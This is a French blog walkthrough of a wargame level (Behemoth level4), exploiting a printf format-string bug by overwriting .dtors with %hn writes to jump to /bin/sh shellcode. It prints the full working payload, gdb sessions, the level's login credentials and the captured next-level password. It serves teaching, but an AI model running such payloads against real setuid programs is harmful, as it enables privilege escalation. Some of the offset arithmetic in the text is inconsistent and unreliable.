vendredi 5 mars 2010

Format String par l'exemple

Behemoth level4 [Intruded.net]
behemoth.intruded.net : 10103
user : level4
pass : Shai#N9b

level4@behemoth:~$ cd /wargame/
level4@behemoth:/wargame$ ./level4
Identify yourself: 5m0k3
Welcome, 5m0k3

Voyons si un Bof est possible :

level4@behemoth:/wargame$ (python -c "print 'A'*512") | ./level4
[...]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level4@behemoth:/wargame$

Non... Peut etre une format string?

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c

Ok, regardons donc le binaire de plus près...


level4@behemoth:/wargame$ gdb level4

0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>: mov %esp,%ebp
0x080483f7 <main+3>: sub $0xe8,%esp
0x080483fd <main+9>: and $0xfffffff0,%esp
0x08048400 <main+12>: mov $0x0,%eax
0x08048405 <main+17>: add $0xf,%eax
0x08048408 <main+20>: add $0xf,%eax
0x0804840b <main+23>: shr $0x4,%eax
0x0804840e <main+26>: shl $0x4,%eax
0x08048411 <main+29>: sub %eax,%esp
0x08048413 <main+31>: movl $0x3ed,(%esp)
0x0804841a <main+38>: call 0x80482ec <seteuid@plt>
; setuid(1005) : La il nous mache un peu le travail...
0x0804841f <main+43>: movl $0x8048568,(%esp)
0x08048426 <main+50>: call 0x804831c <printf@plt>
; printf("Identify yourself:")
0x0804842b <main+55>: mov 0x8049698,%eax
0x08048430 <main+60>: mov %eax,0x8(%esp)
0x08048434 <main+64>: movl $0xc8,0x4(%esp)
0x0804843c <main+72>: lea 0xffffff28(%ebp),%eax
0x08048442 <main+78>: mov %eax,(%esp)
0x08048445 <main+81>: call 0x80482fc <fgets@plt>
; fgets() pour saisir le nom
0x0804844a <main+86>: movl $0x804857c,(%esp)
0x08048451 <main+93>: call 0x804831c <printf@plt>
; printf("Welcome")
0x08048456 <main+98>: lea 0xffffff28(%ebp),%eax
0x0804845c <main+104>: mov %eax,(%esp)
0x0804845f <main+107>: call 0x804831c <printf@plt>
; printf(nom) <= Format String Vulnerability
0x08048464 <main+112>: mov $0x0,%eax
0x08048469 <main+117>: leave
0x0804846a <main+118>: ret


On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...
(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)

level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'") | ./level4
Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78

On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)

Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.

On décide ici de réécrire le pointeur .dtor => Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:

level4@behemoth:/wargame$ objdump -x level4|grep dtor
16 .dtors 00000008 08049594 08049594 00000594 2**2
08049594 l d .dtors 00000000 .dtors
08049594 l O .dtors 00000000 __DTOR_LIST__
08048390 l F .text 00000000 __do_global_dtors_aux
08049598 l O .dtors 00000000 __DTOR_END__ ================> ICI :)

Donc il faudra écrire a l'adresse 0x08049598.

Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.

On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:

level4@behemoth:/wargame$ gdb level4
(...)
(gdb) b *main +118
Breakpoint 1 at 0x804846a

donc on pose un breakpoint juste avant le ret de main()

(gdb) r
Starting program: /wargame/level4
Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804846a in main ()
(gdb) x/256x $esp-256
0xbffff91c: 0x08048464 0xbffff940 0x000000c8 0xb7fe0300
0xbffff92c: 0xb7eb634c 0xb7ebea1c 0xb7ec3b6e 0x00000000
0xbffff93c: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9ac: 0x41414141 0x41414141 0x00000a41 0x28000000

Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940

Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *main+107
Breakpoint 2 at 0x804845f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level4
Identify yourself: AAAA

Breakpoint 2, 0x0804845f in main ()

(gdb) x/x $esp
0xbffff920: 0xbffff940
(gdb) x/s 0xbffff940
0xbffff940: "AAAA\n"

Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948

C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)

Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.

bfff = 49151 base 10
f948 = 63816 base 10

Notre exploit aura donc la forme:
(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode)) u%8$hn][%. (63816- (49151) u%8$hn]

On va utiliser le shellcode classique suivant:

"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Qui fait 23 de long.

Donc:
On affichera d'abord 49120 caractères
Puis 63816-49151= 14665 caractères

[\x9a\x95\x04\x08][\x98\x95\x04\x08][\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80][%.49120u%8$hn][%.14665u%8$hn]

Vérifions ca sous gdb:

level4@behemoth:/wargame$ gdb level4

On pose un bp juste avant le ret de main()

(gdb) b *main+118
Breakpoint 1 at 0x804846a

On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'")

(..)000000000003086877440

Breakpoint 1, 0x0804846a in main ()

on regarde ce qu'il y a dans .dorts:

(gdb) x/x 0x08049598
0x8049598 <__DTOR_END__>: 0xbffff948

Yeah :)
et maintenant on vérifie que 0xbffff948 pointe bien sur le début de notre shellcode:

(gdb) x/x 0xbffff948
0xbffff948: 0x99580b6a

C'est bien le cas.

On ajoute un cat a la fin pour ne pas perdre notre shell a cause de python....

(gdb) r < <(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat)
(...)0003086877440
id
uid=1004(level4) gid=1004(level4) groups=1004(level4)

Cela a l'air de fonctionner, sauf qu'on est sous gdb ;) donc pas de euid=level5

On quitte gdb et on test for real:

level4@behemoth:/wargame$ (python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49120u%8\$hn'+'%.14665u%9\$hn'" ; cat) | ./level4
(...)000003086877440
id
Illegal instruction

Snif...

Je pense que c'est du au fait qu'on est plus dans un environnement de debug. Donc il peut y avoir un petit décalage pour l'adresse de buffer.
Qu'a cela ne tienne, on va rajouter une dizaine de nops au début de notre shellcode...

Cependant notre chaine va grandir de 10, donc il faut en prendre compte!

[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode +10nop)) u%8$hn][%. (63816- (49151) u%8$hn]

Donc:
On affichera d'abord 49110 caractères
Puis 63816-49110= 14706 caractères

(python -c "print '\x9a\x95\x04\x08' + '\x98\x95\x04\x08' + '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80' + '%.49110u%8\$hn'+'%.14706u%9\$hn'" ; cat) | ./level4

(....)086877440
id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)
cat /home/level5/.passwd
aeJ/a`z6

Crac boum.